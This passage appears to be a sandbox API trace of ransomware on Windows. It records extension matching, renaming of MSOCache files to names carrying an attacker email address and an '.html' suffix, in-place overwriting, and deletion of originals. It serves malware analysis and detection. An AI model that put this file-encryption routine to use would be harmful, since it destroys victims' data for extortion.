lpString2=".msi") returned -1 [0050.304] lstrlenW (lpString=".docx") returned 5 [0050.304] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0050.304] lstrlenW (lpString=".pdf") returned 4 [0050.304] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.304] lstrlenW (lpString=".xls") returned 4 [0050.305] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.305] lstrlenW (lpString=".xlsx") returned 5 [0050.305] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0050.305] lstrlenW (lpString=".ppt") returned 4 [0050.305] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.305] lstrlenW (lpString=".zip") returned 4 [0050.305] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.305] lstrlenW (lpString=".rar") returned 4 [0050.305] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.305] lstrlenW (lpString=".bz2") returned 4 [0050.305] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.305] lstrlenW (lpString=".7z") returned 3 [0050.305] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.305] lstrlenW (lpString=".dbf") returned 4 [0050.305] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.305] lstrlenW (lpString=".1cd") returned 4 [0050.305] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.305] lstrlenW (lpString=".jpg") returned 4 [0050.305] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.305] lstrlenW (lpString=".doc") returned 4 [0050.305] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.305] lstrlenW (lpString=".docx") returned 5 [0050.305] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0050.305] lstrlenW (lpString=".pdf") returned 4 [0050.305] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.305] lstrlenW (lpString=".xls") returned 4 [0050.306] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.306] lstrlenW (lpString=".xlsx") returned 5 [0050.306] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0050.306] lstrlenW (lpString=".ppt") returned 4 [0050.306] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.306] lstrlenW (lpString=".zip") returned 4 [0050.306] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.306] lstrlenW (lpString=".rar") returned 4 [0050.306] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.306] lstrlenW (lpString=".bz2") returned 4 [0050.306] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.306] lstrlenW (lpString=".7z") returned 3 [0050.306] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.306] lstrlenW (lpString=".dbf") returned 4 [0050.306] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.306] lstrlenW (lpString=".1cd") returned 4 [0050.306] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0050.306] lstrlenW (lpString=".jpg") returned 4 [0050.306] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.306] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0050.306] lstrlenW (lpString="Office32WW.msi") returned 14 [0050.306] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.307] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=1992192) returned 1 [0050.307] CloseHandle (hObject=0x1cc) returned 1 [0050.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0050.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.307] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0050.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.308] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0050.308] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.308] ReadFile (in: hFile=0x1cc, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.311] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.311] ReadFile (in: hFile=0x1cc, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.315] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.315] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.315] ReadFile (in: hFile=0x1cc, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.330] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0050.330] WriteFile (in: hFile=0x1cc, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0050.355] SetEndOfFile (hFile=0x1cc) returned 1 [0050.356] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0050.356] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.356] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.357] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.357] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.359] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.359] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.361] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0050.361] CloseHandle (hObject=0x1cc) returned 1 [0050.361] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.362] lstrlenW (lpString=".doc") returned 4 [0050.362] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.362] lstrlenW (lpString=".docx") returned 5 [0050.362] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0050.362] lstrlenW (lpString=".pdf") returned 4 [0050.362] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.362] lstrlenW (lpString=".xls") returned 4 [0050.362] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.362] lstrlenW (lpString=".xlsx") returned 5 [0050.362] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0050.362] lstrlenW (lpString=".ppt") returned 4 [0050.362] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.362] lstrlenW (lpString=".zip") returned 4 [0050.362] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.362] lstrlenW (lpString=".rar") returned 4 [0050.362] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.362] lstrlenW (lpString=".bz2") returned 4 [0050.362] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.362] lstrlenW (lpString=".7z") returned 3 [0050.362] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.362] lstrlenW (lpString=".dbf") returned 4 [0050.362] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.362] lstrlenW (lpString=".1cd") returned 4 [0050.362] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.362] lstrlenW (lpString=".jpg") returned 4 [0050.362] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.363] lstrlenW (lpString=".doc") returned 4 [0050.363] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.363] lstrlenW (lpString=".docx") returned 5 [0050.363] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0050.363] lstrlenW (lpString=".pdf") returned 4 [0050.363] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.363] lstrlenW (lpString=".xls") returned 4 [0050.363] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.363] lstrlenW (lpString=".xlsx") returned 5 [0050.363] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0050.363] lstrlenW (lpString=".ppt") returned 4 [0050.363] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.363] lstrlenW (lpString=".zip") returned 4 [0050.363] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.363] lstrlenW (lpString=".rar") returned 4 [0050.363] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.363] lstrlenW (lpString=".bz2") returned 4 [0050.363] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.363] lstrlenW (lpString=".7z") returned 3 [0050.363] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.363] lstrlenW (lpString=".dbf") returned 4 [0050.363] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.363] lstrlenW (lpString=".1cd") returned 4 [0050.363] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0050.363] lstrlenW (lpString=".jpg") returned 4 [0050.363] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.364] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0050.364] lstrlenW (lpString="ose.exe") returned 7 [0050.364] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.369] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=174440) returned 1 [0050.369] CloseHandle (hObject=0x1cc) returned 1 [0050.369] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0050.369] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.369] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.370] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0050.370] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0050.370] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.372] GetLastError () returned 0x0 [0050.372] ReadFile (in: hFile=0x1cc, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x2a968, lpOverlapped=0x0) returned 1 [0050.613] WriteFile (in: hFile=0x21c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0050.617] ReadFile (in: hFile=0x1cc, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0050.617] WriteFile (in: hFile=0x21c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xe2, lpOverlapped=0x0) returned 1 [0050.617] SetEndOfFile (hFile=0x21c) returned 1 [0050.617] CloseHandle (hObject=0x21c) returned 1 [0050.617] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0050.617] SetEndOfFile (hFile=0x1cc) returned 1 [0050.619] CloseHandle (hObject=0x1cc) returned 1 [0050.619] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.619] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0050.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.620] lstrlenW (lpString=".doc") returned 4 [0050.620] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0050.620] lstrlenW (lpString=".docx") returned 5 [0050.620] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0050.620] lstrlenW (lpString=".pdf") returned 4 [0050.620] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0050.620] lstrlenW (lpString=".xls") returned 4 [0050.620] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0050.620] lstrlenW (lpString=".xlsx") returned 5 [0050.620] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0050.620] lstrlenW (lpString=".ppt") returned 4 [0050.620] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0050.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.620] lstrlenW (lpString=".zip") returned 4 [0050.620] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0050.620] lstrlenW (lpString=".rar") returned 4 [0050.620] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0050.620] lstrlenW (lpString=".bz2") returned 4 [0050.620] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0050.620] lstrlenW (lpString=".7z") returned 3 [0050.620] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0050.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.620] lstrlenW (lpString=".dbf") returned 4 [0050.620] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0050.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.620] lstrlenW (lpString=".1cd") returned 4 [0050.620] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0050.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.620] lstrlenW (lpString=".jpg") returned 4 [0050.620] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0050.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.621] lstrlenW (lpString=".doc") returned 4 [0050.621] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0050.621] lstrlenW (lpString=".docx") returned 5 [0050.621] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0050.621] lstrlenW (lpString=".pdf") returned 4 [0050.621] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0050.621] lstrlenW (lpString=".xls") returned 4 [0050.621] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0050.621] lstrlenW (lpString=".xlsx") returned 5 [0050.621] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0050.621] lstrlenW (lpString=".ppt") returned 4 [0050.621] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0050.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.621] lstrlenW (lpString=".zip") returned 4 [0050.621] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0050.621] lstrlenW (lpString=".rar") returned 4 [0050.621] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0050.621] lstrlenW (lpString=".bz2") returned 4 [0050.621] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0050.621] lstrlenW (lpString=".7z") returned 3 [0050.621] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0050.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.621] lstrlenW (lpString=".dbf") returned 4 [0050.621] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0050.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.621] lstrlenW (lpString=".1cd") returned 4 [0050.621] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0050.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.621] lstrlenW (lpString=".jpg") returned 4 [0050.621] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0050.622] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0050.622] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0050.622] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.622] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=36233052) returned 1 [0050.622] CloseHandle (hObject=0x1cc) returned 1 [0050.622] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0050.622] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.622] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0050.623] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.623] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0050.623] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.623] ReadFile (in: hFile=0x1cc, lpBuffer=0x3610058, 